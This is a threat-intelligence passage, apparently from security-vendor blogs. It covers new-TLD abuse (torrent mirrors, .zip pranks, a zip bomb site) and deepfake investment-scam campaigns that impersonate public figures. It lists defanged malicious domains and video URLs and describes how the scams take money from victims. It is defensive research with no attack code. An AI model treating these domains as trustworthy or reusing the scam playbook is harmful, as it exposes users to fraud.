Similar to the previous campaign, all 92 domains share three nameservers hosted on the same IP address. All 92 domains were registered with the same registrar. Notably, all 92 domains were all registered within a two-week period between Nov. 11, 2023, and Dec. 3, 2023, all within five weeks of the .bot domain entering general availability.

Torrenting Unblockit Cluster

Investigating homogeneous clusters, we found a campaign distributing pirating and torrenting links that contain four domains using the same root name with four different TLDs:

  • .esq
  • .zip
  • .ing
  • .foo.

URLs under these domains all have similar paths as well.

Our graph-based analysis reveals that the infrastructure of these torrenting services keeps evolving as its domains are blocked by security vendors. Figure 7 indicates URL paths that redirect users to the same path under a different TLD, possibly as a mirroring phenomenon.

Diagram showing a network of cybersecurity threats with various types of connections like redirects and subdomains between entities. Red indicates malicious entities. Includes URLS, file samples, hostnames, IP addresses with geolocation, and domains. Key symbols and relationship types are explained in a legend at the bottom.
Figure 7. The unblockit torrenting campaign that highlights the evolving infrastructure.

Following this pattern, we found websites with the root name unblockit under different TLDs. We found 11 additional domains that all redirected to the same unblockit torrenting webpage.

Similar to the above cluster, we found another campaign that uses the root name worldfree4u with different TLDs, which is a torrent and piracy distribution website. Figure 8 shows that we observed the same domain name under five different TLDs:

  • .foo
  • .meme
  • .mov
  • .zip
  • .dad

Figure 8 reflects a serial chain of redirections of URLs from one domain under one TLD to another.

Network diagram showing various connections between entities such as URLs, IP addresses, and domain names, with some entities marked in red indicating malicious status. Arrows describe relationships, such as redirection or subdomains. The diagram includes descriptive legends like URL, File/Sample Hash, Hostname, IP address, and Domain in seed list.
Figure 8. Charting the worldfree4u campaign distributing piracy and torrent links.

Examining Previously Reported Malicious TLDs and Domains

Of all the newly released TLDs, .zip and .mov are two TLDs that are among the 10 most popular that also resemble popular file extensions. When Google released these two TLDs for general availability in May 2023, many sources commented on the dangers of these TLDs and how attackers were already leveraging them to perpetuate phishing attacks. Consequently, many of these domains were blocked by security vendors, and new domains under these TLDs began to be scrutinized more carefully.

Malware, Critiques and Pranks

We analyzed previously reported malicious .zip domains and found they have either become NXDOMAINs, parked pages or result in network traffic errors. Some of these previously malicious domains redirect to pages critiquing the TLD, like latestupdate[.]zip and googlechrome[.]zip. Figure 9 illustrates an example of the critique sites.

Screenshot of a browser on a web page displaying the text, "really? who thought .zip was a good idea", followed by a facepalm emoji.
Figure 9. Example of a previously malicious domain hosting criticism about the .zip TLD.

Websites from domains using the .zip TLD can automatically offer ZIP archives for download. These ZIP archives can contain anything, depending on who established the web server.

Some domains previously reported as malicious now contain prank content. For instance, assignment[.]zip downloads a ZIP archive that contains a picture of a leek and one music track (mp3 file), while photos[.]zip simply contains the text: “haha you got phished!”

At least two servers using .zip TLD domains previously reported as malicious currently distribute content flagged as malware. The first is eicar-test-file[.]zip that appears to send a randomly named ZIP archive containing an EICAR test file.

The second is bomb[.]zip, a site that critiques ICANN's decision to approve the .zip TLD. It states "We heard you like zip bombs!" and sends a zip bomb.

From our studies, we see that many .zip and .mov domains are being used for pranks and memes such as rickrolling.

Leveraging TLDs That Look Like File Extensions for Trolling

We also observe that domains, specifically ones that appear to be file extensions, are increasingly used for trolling online. Specifically for rickrolling, we observed 13 domains in this cluster under the TLDs .zip and .mov redirected users to a bit[.]ly link that led to a YouTube music video of a 1987 song titled “Never Gonna Give You Up” by musician Rick Astley.

These 13 domains resemble file names such as attachedpdf[.]zip and testvideo[.]mov. All of them point to the same set of nameservers denoted by the node on the left in Figure 10. They also have the same four IP addresses in their A record, indicated on the right in Figure 10.

Illustration of a network showing the interaction between various internet elements and an entity identified as malicious, indicated by red. The graphic includes symbols like WWW, user icons, and flags, symbolizing interactions such as redirection and domain resolutions in a web context.
Figure 10. Cluster that points to a link-shortener link that redirects users to get rickrolled.

Conclusion

We investigated domains registered under 19 newly released TLDs from the past year. To sustainably track the evolution of these domains over time, we introduced our graph-based investigation pipeline that can help identify coordinated attack and misuse campaigns.

This article presented detailed case studies on a variety of cyberthreats to show how domains registered on these newly released TLDs have been used for redirection, chatbot campaigns and torrent distribution. As new TLDs emerge, the potential for malicious activity such as domain squatting and phishing increases. This investigation reveals the importance of monitoring domains registered under new TLDs to discover and track new trends and attack campaigns.

Palo Alto Networks Next-Generation Firewall customers receive protections against malicious indicators (domain, IP address) mentioned in this article via Advanced DNS Security and Advanced URL Filtering subscription services.

If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America Toll-Free: 866.486.4842 (866.4.UNIT42)
  • EMEA: +31.20.299.3130
  • APAC: +65.6983.8730
  • Japan: +81.50.1790.0200

Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

Indicators of Compromise

The following are domains and URL paths related to this article.

  • akira[.]bot
  • amsterdam[.]bot
  • attachedpdf[.]zip
  • broadband[.]bot
  • chicken[.]bot
  • choto[.]click
  • choto[.]click/vx/
  • choto[.]xyz
  • crowdstrike-hotfix[.]zip
  • crowdstrikefix[.]zip
  • emilia[.]bot
  • fluege[.]bot
  • harriet[.]bot
  • kleinanzeigen[.]bot
  • lastminute[.]bot
  • leipzig[.]bot
  • mei[.]bot
  • percy[.]bot
  • phpstack-1171166-4096956.cloudwaysapps[.]com/chicken.php
  • phpstack-1171166-4096956.cloudwaysapps[.]com/harriet.php
  • termin[.]bot
  • testvideo[.]mov
  • toronto[.]bot
  • unblockit[.]black
  • unblockit[.]esq
  • unblockit[.]foo
  • unblockit[.]ing
  • unblockit[.]zip
  • valentina[.]bot
  • welt[.]bot
  • worldfree4u[.]dad
  • worldfree4u[.]foo
  • worldfree4u[.]meme
  • worldfree4u[.]mov
  • worldfree4u[.]pm
  • worldfree4u[.]zip
  • assignment[.]zip
  • photos[.]zip
  • bomb[.]zip
  • eicar-test-file[.]zip

The Emerging Dynamics of Deepfake Scam Campaigns on the Web

Executive Summary

Our researchers discovered dozens of scam campaigns using deepfake videos featuring the likeness of various public figures, including CEOs, news anchors and top government officials. These campaigns appear in English, Spanish, French, Italian, Turkish, Czech and Russian. Each campaign typically targets potential victims in a single country, including Canada, Mexico, France, Italy, Turkey, Czechia, Singapore, Kazakhstan and Uzbekistan.

Due to their infrastructural and tactical similarities, we believe that many of these campaigns likely stem from a single threat actor group. We have observed this threat actor group using deepfake videos to spread fake investment schemes and fake government-sponsored giveaways.

As of June 2024, we had discovered hundreds of domains being used to promote these campaigns. Each domain has been accessed an average of 114,000 times globally since going live, based on our passive DNS (pDNS) telemetry.

Starting with a campaign promoting an investment scheme called Quantum AI, we studied the infrastructure behind this campaign to track its spread over time. Through this infrastructure investigation, we discovered several additional deepfake campaigns leveraging completely different themes that the same threat actor group created and promoted. These additional scam campaigns used different languages and the likeness of different public figures, suggesting that each campaign is intended for a different target audience.

Despite the use of generative AI (GenAI) in these campaigns, traditional investigative techniques remain useful to identify the hosting infrastructure leveraged by these threat actors. As the malicious usage of deepfake technology increases among threat actors, so should defenders’ efforts to proactively detect and prevent these types of attacks.

Customers of Palo Alto Networks are better protected from these attacks via Advanced URL Filtering, which will continue to detect and block websites that are used to propagate deepfake-based scam campaigns.

Related Unit 42 Topics Scams, Phishing

Discovering Quantum AI Hosting Infrastructure

To study the Quantum AI campaign, we decided to analyze the infrastructure behind the websites hosting these attacks. Starting with an initial seed set of detections from our deepfake video detection pipeline, we then looked for additional websites serving up known malicious videos. We observed several Quantum AI-related videos that adversaries were widely sharing via websites hosted on newly registered domains.

Upon further investigation, we identified that the videos themselves were primarily hosted on a single domain:

  • Belmar-marketing[.]online

Next, we searched for other web pages that served video files from this domain and also contained keywords like Quantum AI in the HTML content.

Through this process, we were able to uncover dozens of other scam pages using these videos as a lure. We then used the content on these web pages as well as the pathnames of the video files to create signatures to expand our detections. (See the Indicators of Compromise section for example URLs.)

In May 2024, we noticed that an increasing number of Quantum AI videos were being hosted on other domains as well, including the following:

  • Ai-usmcollective[.]click
  • Fortunatenews[.]com
  • Fiirststreeeet[.]top

We also discovered some sites built using website builders that were promoting the same Quantum AI scam. In these cases, the attackers re-hosted the video directly on the site via the website builder, not on one of the shared video-hosting domains mentioned above.

Quantum AI Example Videos and Web Pages

In Figures 1-7, we present examples of Quantum AI scam web pages and videos discovered by our video analysis pipeline and infrastructure-based investigation. In most of these examples, the scam web page was hosted on a newly registered domain, and the video was hosted as an .mp4 file on one of the shared video-hosting domains mentioned above (e.g., belmar-marketing[.]online).

In most cases, the attackers appear to have started with a legitimate video and added on their own AI-generated audio. Finally, they used lip-syncing technology to modify the lip movement of the speaker to match the AI-generated audio. Most of the videos use Elon Musk as their celebrity of choice, although we discovered a handful of examples using other public figures as well:

  • Tucker Carlson
  • Lee Hsien Loong, the former Prime Minister of Singapore
  • Tharman Shanmugaratnam, the President of Singapore (as of June 2024)

SmartInvests promotional website page featuring a video of a person speaking on stage, flanked by blue lighting, with text overlay encouraging investment to change the world and get rich quickly. Text asks the reader to join the quantum revolution.
Figure 1. Huerwlleiss-herton[.]pro, a website using an Elon Musk deepfake video to promote the Quantum AI scam.
Screen shows a split image with a promotional banner for "Tucker Carlson Originals" featuring Tucker Carlson on the left and Elon Musk on the right, announcing an interview event. On the right side of the screen, there is a web interface for creating an account with fields for name, email, country, and phone number.
Figure 2. Bitquantumai[.]com, a website using a deepfake video of Elon Musk and Tucker Carlson to promote the Quantum AI scam.
Elon Musk presenting on stage at an event, with a projected background image and audience visible. The webpage also shows an overlay with a login prompt from QuantumAI. The Tesla logo is on the bottom right of the screen. There is a CAPTCHA refresh button.
Figure 3. Quantumal[.]xyz, a website used to promote the Quantum AI scam. The web page asks for a referral code to log in.

Elon Musk presenting. QuantumAI logo. Caption that reads "THE WORLD'S FIRST QUANTUM.
Figure 4. Screenshot of an Elon Musk deepfake video used to promote the Quantum AI scam. In the video, deepfake-Elon claims that Quantum AI is the “world’s first quantum computing software developed by his team with a success rate of 91%.”
Elon Musk being interviewed. FOX News channel logo. Caption about Quantum AI's potential to revolutionize industry.
Figure 5. Another screenshot of a different Elon Musk deepfake video used to promote the Quantum AI scam.
QuantumAI website homepage featuring a promotional banner about turning $250 into $9,000, an invitation to sign up for free, and a video playback window showing a news segment with an interviewee speaking, adorned by the Singapore flag in the background.
Figure 6. Griffinware-tm.cloud, a website using a deepfake video of Lee Hsien Loong, the former Prime Minister of Singapore, to promote the Quantum AI scam.
A person in business attire is seated at a news desk with the words "Quantum AI" displayed below. The background features a plain, light-colored wall.
Figure 7. A screenshot of a deepfake video of Tharman Shanmugaratnam, the current President of Singapore, used to promote the Quantum AI scam.

Deepfake Campaign Discovery and Tracking

After investigating the Quantum AI scam campaign, we explored broader trends surrounding these deepfake campaigns as a whole.

Uncovering Additional Deepfake Scams

In addition to the Quantum AI scam, we also investigated the other videos that were present on these video-hosting domains. In doing so, we were able to uncover several other scam campaigns (likely propagated by the same threat actor group), many of which use deepfake videos as a lure. These deepfake videos typically use the likeness of public figures like CEOs, news anchors or top government officials.

We discovered deepfake videos in several different languages, including English, Spanish, French, Italian, Turkish, Czech and Russian. Each campaign typically targets potential victims in a single country, including Canada, Mexico, France, Italy, Turkey, Czechia, Singapore, Kazakhstan and Uzbekistan.

Similar to the Quantum AI scam campaign, these videos add AI-generated audio on top of an existing video and use lip-syncing tools to alter the lip movement of the speaker to match the new audio. Visitors to these web pages are prompted to register with their name and phone number, and they are instructed to await a call from an account manager or representative.

In many of these cases, we discovered several newly registered domains hosting the same content (and the same deepfake video lure). This means that each of these scam web pages is part of a larger campaign, not just a one-off scam web page.

For example, in the case of the KazMunayGas scam shown below in Figure 8, we found scammers using the same video across several recently registered domains, including:

  • Aigroundwork[.]top
  • Aitfinside[.]shop
  • Block4aischeme[.]top
  • Systemaigroundwork[.]shop

The Indicators of Compromise section provides a more complete list of these domains.

A news anchor reporting on a financial surge in Kazakhstani banks due to payments from KazMunayGas, displayed on a computer screen with multiple open browser tabs.
Figure 8. Coinframework[.]top, a scam website using an AI-manipulated video of a Kazakh news anchor to promote a fake giveaway started by KazMunayGas, the state-owned oil and gas company of Kazakhstan.
Screenshot of the Kyivstar registration form webpage, featuring fields for name and phone number and an 'Apply now' button. Below is a comment section with a user testimonial about a quick money transfer.
Figure 9. Riseanalyze[.]click, a website linked to from coinframework[.]top. This website contains a registration form for the KazMunayGas-themed scam.
Although the languages and impersonation-targets of these scam campaigns are different, they share the following similarities:

  • They all use similar deepfake techniques
  • They have similar calls to action
  • They host their videos on a small, shared set of domains (that do not seem to be used for any other purpose than to host these scam videos)

This suggests that these campaigns can most likely be attributed to a single threat actor group.

We present some selected examples of these additional scam campaigns in Figures 10-15.

Screenshot of the TotalEnergies website featuring a news video with a person speaking, set against a backdrop displaying the U.S. Capitol building. The page includes text in French about national resources and wealth, dated April 1, 2024.
Figure 10. Invest-toolavenue[.]shop, a scam website using an AI-manipulated video of Patrick Pouyanné (TotalEnergies CEO) to promote a fake giveaway supposedly created by TotalEnergies, a French multinational energy and petroleum company.
A screenshot of a webpage in French from "pokelawee.fr" with an "Inscription" form asking for "Nom de famille" (last name) and a contact number, set against a vibrant orange background. The form contains a text box for entering details and a "Continuer" button. There is a popup to translate the page into English or French.
Figure 11. Invest-toolavenue[.]shop, continued from Figure 10.

President Andrés Manuel López Obrador of Mexico speaking at a desk with the Mexican flag displayed in the background and books on shelves. There is a popup to translate the page into English or Spanish.
Figure 12. Capitalflow-skillful.shop, a scam website using an AI-manipulated video of Andrés Manuel López, the President of Mexico, to promote a fake “Mexican Investment Society Project.”
A screenshot of a website promoting a program with an embedded video featuring a person speaking at a podium, with an American flag in the background. The website is in Italian and includes fields for name and email for registration.
Figure 13. Untamedal.top, a scam website using an AI-manipulated video of Giorgia Meloni, the Prime Minister of Italy, to promote a fake state-sponsored investment program called FinInvest.

Web page interface of The World Bank with a headline about Europeans investing in international banks for diversification and stability. The right-hand portion contains a contact form asking for a first name, surname, email, and phone number, with a submit button to become an investor.
Figure 14. Hugeproject[.]shop, a World Bank-themed scam website using an AI-manipulated video of a woman claiming to represent an international investment bank.
Person smiling in a paused video. On the right is an About Us field. Below this is a revenue calculate and the text "How much do investors earn by trusting us."
Figure 15. Hugeproject[.]shop, continued from Figure 14.

Campaign Activity Over Time

While these campaigns started about a year ago, we observed a large spike of newly observed domains (shown in Figure 16) in February 2024. Unlike typical phishing or malware domains, these domains are relatively long-lived, with an average active time of 142 days.

Line graph showing the 'Number of Domains', over the months from July 2023 to May 2024. The graph shows fluctuations in domain numbers, peaking notably in February 2024.
Figure 16. The number of newly observed domains hosting deepfake videos over time.

Figure 17 shows that the number of active domains exponentially increased until about March 2024, and the total number of active domains has remained steady to the present day.

Line graph displaying the monthly growth in the number of domains from July 2023 to June 2024, with significant increases starting in January 2024. The graph starts at 7 domains and peaks at 175 domains by June 2024.
Figure 17. The number of active domains hosting deepfake videos over time.

Furthermore, it is concerning to note that these domains have a high reach, with each domain being accessed an average of 114,000 times since they first went live, based on pDNS telemetry. The actual number is likely much higher.

Hosting Infrastructure Analysis

Going with the current trend of camouflaging in shared hosting infrastructure, 86.7% of these campaign domains are using the same popular content delivery network (CDN). Multiple IP addresses from the CDN host the same content across different geographic locations, with the U.S., the Netherlands and Russia being the top 3 locations. The utilization of CDNs makes it difficult to attribute the campaign to a particular threat actor or geolocation.

We observed that the attackers primarily hosted their videos on a small set of attacker-owned domains. Attackers presumably did this to circumvent takedown issues that could occur on more popular video-hosting platforms.

Until April 2024, we observed that the deepfake videos were predominantly hosted on belmar-marketing[.]online. However, starting in May 2024, the attackers began to rotate their video hosting locations more frequently. As such, we observed that videos were now mainly hosted on fiirststreeeet[.]top, ai-usmcollective[.]click and fortunatenews[.]com.

Looking for web pages that link to videos hosted on these domains has been very valuable for tracking the spread of these campaigns so far. We will continue to monitor for new video-hosting domains as these campaigns progress.

How the Quantum AI Scam Works

During our research, we observed posts and ads promoting Quantum AI on various social media platforms (shown in Figures 18-20). According to the Australian National Anti-Scam Center, scammers often first use these sorts of social media ads or fake news articles to link to scam web pages that ask for the victim user’s contact information.

Tweet pinned by Quantum Trading Post X account. Elon Musk has thrown his support behind the Quantum AI revolution, signaling a future where we all stand to profit. This cutting-edge tech promises to redefine trading. 100% guaranteed profits. Video of Elon Musk speaking. Quantum AI logo.
Figure 18. Social media post linking to a Quantum AI scam web page.
Screenshot of a social media post from 'ELON_MUSK_BOT3' with a patterned green background and text promoting an investment opportunity. The post invites members to contact the admin for setting up an investment plan, highlighting acceptance of various cryptocurrencies like Bitcoin, Ethereum and more.
Figure 19. Messaging platform post linking to a Quantum AI scam web page.
A person's hand holding a smartphone displaying an advertisement for joining QuantumAI. A laptop keyboard and bundles of 100 dollar bills are also visible on the desk. An accompanying Facebook post by "Elon Musk Tesla Company" encourages viewers to invest in Quantum AI.
Figure 20. Social media post using a video to promote the Quantum AI scam.

After visiting the scam landing page and filling out a form to sign up for the platform, one of the scammers gives the victim a phone call. In this call, the scammer tells the victim they’ll need to pay around $250 to access the platform.

The scammer instructs the victim to download a special app so that they can “invest” more of their funds. Within the app, a dashboard appears to show small profits. From there, the scammers continue persuading the victim to deposit more of their money and may even allow the victim to withdraw a small amount of money as a way to gain trust.

Finally, when the victim tries to withdraw their funds, the scammers either demand withdrawal fees, or cite some other reason (e.g., tax issues) for not being able to get their funds back. The scammers may then lock the victim out of their account and pocket the remaining funds, causing the victim to have lost the majority of the money that they put into the “platform.”

Overview of the Web-Based Deepfake Scam Landscape

Quantum AI is not the only scam that adversaries are using involving deepfakes. In this section we’ll discuss other techniques and services that they have been using.

In early 2024, a company lost $25 million to attackers who used deepfake technology to impersonate their chief financial officer on a video conferencing call. While video conferencing deepfakes have received significant attention as a result of this attack, web-based deepfake scams are an emerging threat that researchers should monitor as well.

2024 is predicted to be the largest voting year in history. Over 60 countries are holding significant elections this year, meaning that around half the world's population could be directly affected by these events. In response, researchers have raised concerns about the potential for deepfakes to promote political misinformation. However, the impact of deepfakes is not limited to the political domain. Cybercriminals have already been creating and sharing deepfake videos for their own malicious purposes.

Deepfakes Used to Promote Scams and Phishing Attacks

Since the advent of GenAI, attackers have used deepfakes to promote political misinformation, and even to further voter outreach. For example, in early 2024, a Democratic political consultant used an audio deepfake of Joe Biden to discourage voters in the state of New Hampshire from voting in the upcoming primary election.

In India, politicians actively encouraged their supporters to create deepfakes to promote their own candidacies. In 2022, an unknown threat actor used manipulated deepfake videos of Ukrainian President Volodymir Zelensky as a part of information warfare in the Russia-Ukraine war.

Now, we are seeing cybercriminals start to use deepfake media to promote their own scams and phishing attacks as well. In recent months, reporters have observed scams impersonating figures like Elon Musk (shown in Figure 21), Bill Gates and Warren Buffett to peddle fake cryptocurrencies, giveaways and other investment schemes. These are created with the ultimate goal of stealing funds from victims. (Our previous tweets on this topic have more details.)

Elon Musk is featured in an NBC broadcast discussing Liberty Coins, with an inset image of a golden coin.
Figure 21. Screenshot of an Elon Musk deepfake video seen on patriotsmaga2024[.]com, a website promoting the sale of fake “Trump Liberty Coins.”
Previously, these attackers might have used paid actors to promote their scams (e.g., by creating videos purporting to be a client who profited from a fake investment scheme). With the increasing popularity and effectiveness of tools that use AI to generate content (e.g., images, audio and video), attackers are now able to create these videos in a cheaper and more convincing way.

Deepfakes as a Service

Our researchers have encountered cybercriminals selling, discussing and trading deepfake tooling and creation services across forums, social media chat channels and instant messaging platforms. These tools and services offer capabilities for generating deceptive and malicious content including audio, video and imagery. The ecosystem surrounding deepfake creation and tooling is alive and vibrant, and cybercriminals are selling a variety of options from face swapping tools to deepfake videos.

Face swapping tools like Swapface (shown in Figure 22) range in price from free to over $249 a month. Adversaries abuse these tools, placing the videos they create on diverse platforms and social media platforms. Swapface offers user-friendly filters and face swapping that operates in real time, allowing users to alter or replace faces in videos.

Screenshot of SWAPFACE's pricing page showing various subscription plans ranging from a free tier to an Enterprise plan, detailing features like image faces per day, team access, and no tracker storage for each level.
Figure 22. Swapface tooling subscription cost.

The criminal application of deepfake tooling and creation services and tools includes the following activities:

  • Facilitating the creation of fake identities
  • Committing bank fraud
  • Orchestrating disinformation campaigns
  • Bypassing know-your-customer verification checks
  • Performing cryptocurrency theft

These services can manipulate visuals and audio with alarming precision, leading to significant ethical and security concerns. The cost of generating a deepfake video can vary widely, typically ranging from $60 to $500, reflecting the complexity and quality of the requested forgery.

As seen in Figure 23, we also discovered messaging platform channels specifically advertising the creation of deepfake videos for scam purposes.

Channel by Deepfakes from SM Crew. Posts show two seperate videos. Channel profile shows 37 subscribers, an anime character and A$AP Rocky, information in Cyrillic and some redacted text.
Figure 23. Messaging platform channel dedicated to deepfake generation services.

The accessibility and range of costs make deepfakes particularly versatile tools for maliciousness, posing challenges for both individuals and institutions trying to safeguard against fraud and misinformation.

Conclusion

Despite the use of GenAI in these campaigns, traditional investigative techniques remain useful to identify the hosting infrastructure leveraged by these threat actors. As threat actors increase their use of deepfake technology, organizations should also proactively defend against these types of attacks.

Palo Alto Networks researchers will continue to monitor these deepfake-based scam campaigns and continue to discover and investigate additional deepfake-based scam campaigns. As such, we can ensure that our customers are better protected from them via Advanced URL Filtering.

Indicators of Compromise

Deepfake Scam Examples

Deepfake of Kevin O'Leary sitting at a table during a television interview, with a caption that reads: 'Canadian residents are quitting their 9-5 with this AI trading bot' and a subtitle stating 'at least 27,000 CAD per month.'
Figure 24. Screenshot of a scam video containing a deepfake of Kevin O’Leary.

Example 1

  • Web page URL: xtradgpt[.]online
  • Video URL: hxxps://quontic[.]site/wp-content/uploads/2024/07/449030935_482215324194392_281914555774571171_n[.]mp4
  • Language: English
  • Country targeted: Canada
  • Deepfake of: Kevin O'Leary (Canadian businessman)
  • Summary: Promoting an AI trading bot that allows Canadian citizens to earn at least $27,000 Canadian dollars per month
Deepfake of Tharman Shanmugaratnam on business attire is presenting, with text overlay stating "The possibility of earning from $8,000" in a studio setting.
Figure 25. Screenshot of a scam video containing a deepfake of Tharman Shanmugaratnam (Prime Minister of Singapore).

Example 2

  • Web page URL: euphemiouslystner[.]life
  • Video URL: hxxps://hemicdn[.]com/1501-1400-3505[.]mp4
  • Language: English
  • Country targeted: Singapore
  • Deepfake of: Tharman Shanmugaratnam (Prime Minister of Singapore)
  • Summary: Promoting a fake investment scheme named Quantum AI
Deepfake of Patrick Pouyanné, speaking about an investment platform supported by the government and guaranteed by the Bank of France, with the U.S. Capitol in the background and the TotalEnergies logo displayed in the corner.
Figure 26. Screenshot of a scam video containing a deepfake video of Patrick Pouyanné (CEO of TotalEnergies).

Example 3

  • Web page URL: invest-toolavenue[.]shop
  • Video URL: hxxps://ai-usmcollective[.]click/videos/TotalEnergies_news_FR[.]mp4
  • Language: French
  • Country targeted: France
  • Deepfake of: Patrick Pouyanné (CEO of TotalEnergies)
  • Summary: Promoting a fake investment platform sponsored by TotalEnergies, and guaranteed by the Bank of France
Deepfake of President Andrés Manuel López Obrador of Mexico giving a speech in an office, with the Mexico flag prominently displayed to the left. Above the video is text in Spanish. The browser option to translate to English is selected.
Figure 27. Screenshot of a scam web page containing a deepfake video of Andrés Manuel López Obrador (President of Mexico).

Example 4

  • Web page URL: capitalflow-skillful[.]shop
  • Video URL: hxxps://ai-usmcollective[.]click/videos/MexicanPartnership_man_MX[.]mp4
  • Language: Spanish
  • Country targeted: Mexico
  • Deepfake of: Andrés Manuel López Obrador (President of Mexico)
  • Summary: Promoting a fake “Mexican Investment Society Project”
Deepfake of Giorgia Meloni speaking at a podium with a United States flag in the background. There are subtitles in Italian that mention a monthly amount of 10,800 euros.
Figure 28. Screenshot of a scam video containing a deepfake of Giorgia Meloni (Prime Minister of Italy).

Example 5

  • Web page URL: untamedal[.]top
  • Video URL: hxxps://ai-usmcollective[.]click/videos/FinInvest_woman-performing_IT[.]mp4
  • Language: Italian
  • Country targeted: Italy
  • Deepfake of: Giorgia Meloni (Prime Minister of Italy)
  • Summary: Promoting a fake state-sponsored investment program called FinInvest
Scam video with deepfake of Andrej Babiš speaking during a news broadcast on Prima News.
Figure 29. Screenshot of a scam video containing a deepfake of Andrej Babis (Czech politician and businessman).

Example 6

  • Web page URL: hxxps://hybridpowerit[.]com/
  • Video URL: hxxps://ai-usmcollective[.]click/videos/ImmediateMatrix-PNewsQZ-Invest[.]mp4
  • Language: Czech
  • Country targeted: Czechia
  • Deepfake of: Andrej Babis (Czech politician and businessman)
  • Summary: Promoting a fake investment platform for Czech citizens
Deepfake video of Alisher Usmanov presenting in a business suit, standing against a plain background. Subtitle suggests discussion of money with a mention of 10,000 lirasini.
Figure 30. Screenshot of a scam video containing a deepfake of Omer Koc (Turkish businessman).

Example 7

  • Web page URL: rondeliercore[.]com
  • Video URL: hxxps://hemicdn[.]com/video_5848484848485[.]mp4
  • Language: Turkish
  • Country targeted: Turkey
  • Deepfake of: Omer Koc (Turkish businessman)
  • Summary: Introducing an AI-powered trading bot that allows users to earn a stable income of 10,000 Turkish liras
Deepfake video of Alisher Usmanov sitting at a desk with a microphone, speaking, displayed on a website. In the background, a blurred cityscape with a prominent tower is visible. The browser option to translate the page to English is selected.
Figure 31. Screenshot of a scam web page containing a deepfake video of Alisher Usmanov (Uzbek and Russian businessman).

Example 8

  • Web page URL: hxxps://naatuureeffocus[.]com/
  • Video URL: hxxps://ai-usmcollective[.]click/videos/USM_novosti-usmanov_UZ[.]mp4
  • Language: Russian
  • Country targeted: Uzbekistan
  • Deepfake of: Alisher Usmanov (Uzbek and Russian businessman)
  • Summary: Presenting a new investment platform for citizens of Uzbekistan

Update on Sept. 19, 2024

Deepfake video of former President Donald Trump speaking on television, with captions displayed, against a backdrop of the U.S. flag and presidential seal. Subtitle reads "as a token of appreciation every AMF check you have will be worth $10,000."
Figure 32. Screenshot of a scam video containing a deepfake of Donald Trump.

Example 9

  • Web page URL: mtgaeth[.]vip
  • Video URL: hxxp://mtgaeth[.]vip/video/videos-2[.]mp4
  • Language: English
  • Country targeted: United States
  • Deepfake of: Donald Trump (45th President of the United States)
  • Summary: Selling fake "American Monetary Fund" (AMF) checks, which Americans can cash out for $10K after the 2024 US presidential election
Deepfake of Matthew Amroliwala reporting on BBC News about a new investment project from Elon Musk, noting that British people will receive a return on investment. The screen displays 'EXCLUSIVE' and 'UK' tags with a time stamp of 17:22.
Figure 33. Screenshot of a scam video containing a deepfake of Matthew Amroliwala (BBC Newscaster).

Example 10

  • Web page URL: bitvidex360[.]trade
  • Video URL: hxxps://bitvidex360[.]trade/wp-content/uploads/2023/08/Bitvidex360-Trade[.]mp4
  • Language: English
  • Country targeted: United Kingdom
  • Deepfake of: Matthew Amroliwala (BBC Newscaster)
  • Summary: Announcing a fake investment project from Elon Musk that allows British residents to earn an income of 5,700 pounds per day
Phishing webpage mimicking the site of the Federal Government of Brazil featuring a deepfake video of Luiz Inácio Lula da Silva, displayed alongside the national emblem. The webpage includes a notification about the calculation of compensation, a video progress bar indicating 1:26 of 1:46 minutes viewed, and a blue button labeled 'I want to receive my compensation.' Some of the information has been redacted.
Figure 34. Screenshot of a phishing web page containing a deepfake video of Luiz Inácio Lula da Silva (President of Brazil).

Example 11

  • Web page URL: consultar-resgate[.]com/ll/etapa2
  • Video URL: hxxp://consultar-resgate[.]com/videos/vsl[.]mp4
  • Language: Portuguese
  • Country targeted: Brazil
  • Deepfake of: Luiz Inácio Lula da Silva (President of Brazil)
  • Summary: Announcing a government program called Indeniza Brasil that will provide compensation to Brazilian citizens whose personal data was leaked due to a government database system failure
Deepfake of Emomali Rahmon flanked by flags. The setting includes official decor with a white and gold interior. Subtitles in Russian are visible at the bottom of the screen.
Figure 35. Screenshot of a scam video containing a deepfake of Emomali Rahmon (President of Tajikistan).

Example 12

  • Web page URL: crisiswatch[.]online
  • Video URL: hxxps://ai-usmcollective[.]click/videos/GP_prez-tajikistan_RU[.]mp4
  • Language: Russian
  • Country targeted: Tajikistan
  • Deepfake of: Emomali Rahmon (President of Tajikistan)
  • Summary: Announcing a fake government-sponsored giveaway through a partnership with Gazprom

Update on Oct. 23, 2024

Screenshot from CTV News website featuring a deepfake video interview with Jagmeet Singh, discussing a new law related to guaranteed income.
Figure 36. Screenshot of a scam web page containing a deepfake video of Jagmeet Singh (Canadian politician).
  • Web page URL: weixinchannelsmall[.]com
  • Video URL: hxxps://d2l7oiuw3gwvbg[.]cloudfront[.]net/video/JagmeetSingh_923_jag[.]mp4
  • Language: English
  • Country targeted: Canada
  • Deepfake of: Jagmeet Singh (Canadian politician, leader of the New Democratic Party)
  • Summary: Announcing a fake government-sponsored investment program through a partnership with Imperial Oil
Deepfake of Christine Lagarde, President of the European Central Bank, delivering a speech at a podium with the ECB logo in the background.
Figure 37. Screenshot of a scam video containing a deepfake of Christine Lagarde (President of the European Central Bank).
  • Web page URL: kotrotshmot[.]site
  • Video URL: hxxp://kotrotshmot[.]site/video/1735[.]mp4
  • Language: English
  • Region targeted: EU
  • Deepfake of: Christine Lagarde (President of the European Central Bank)
  • Summary: Introducing a fake investment project launched by the European Central Bank and Eurosystem
Screenshot of a Tagesschau web page featuring a deepfake video of Theodor Weimer, CEO of Deutsche Börse. The page includes text descriptions and the Deutsche Börse Group logo in the background.
Figure 38. Screenshot of a fake news website imitating Tagesschau (German TV news
program) and using a deepfake of Theodor Weimer (former CEO of Deutsche Börse).
  • Web page URL: new-company[.]store
  • Video URL: hxxps://new-company[.]store/video/1512_3[.]mp4
  • Language: German
  • Country targeted: Germany
  • Deepfake of: Theodor Weimer (German businessman, former CEO of Deutsche Börse)
  • Summary: Promoting a limited-time offer to trial a fake stock trading algorithm created by major banking corporations
Maib website displaying a news article with a deepfake video of the President of Moldova speaking at a podium, featuring the Moldovan flag in the background.
Figure 39. Screenshot of a scam web page containing a deepfake video of Maia Sandu (President of Moldova).
  • Web page URL: currrencyspot[.]buzz
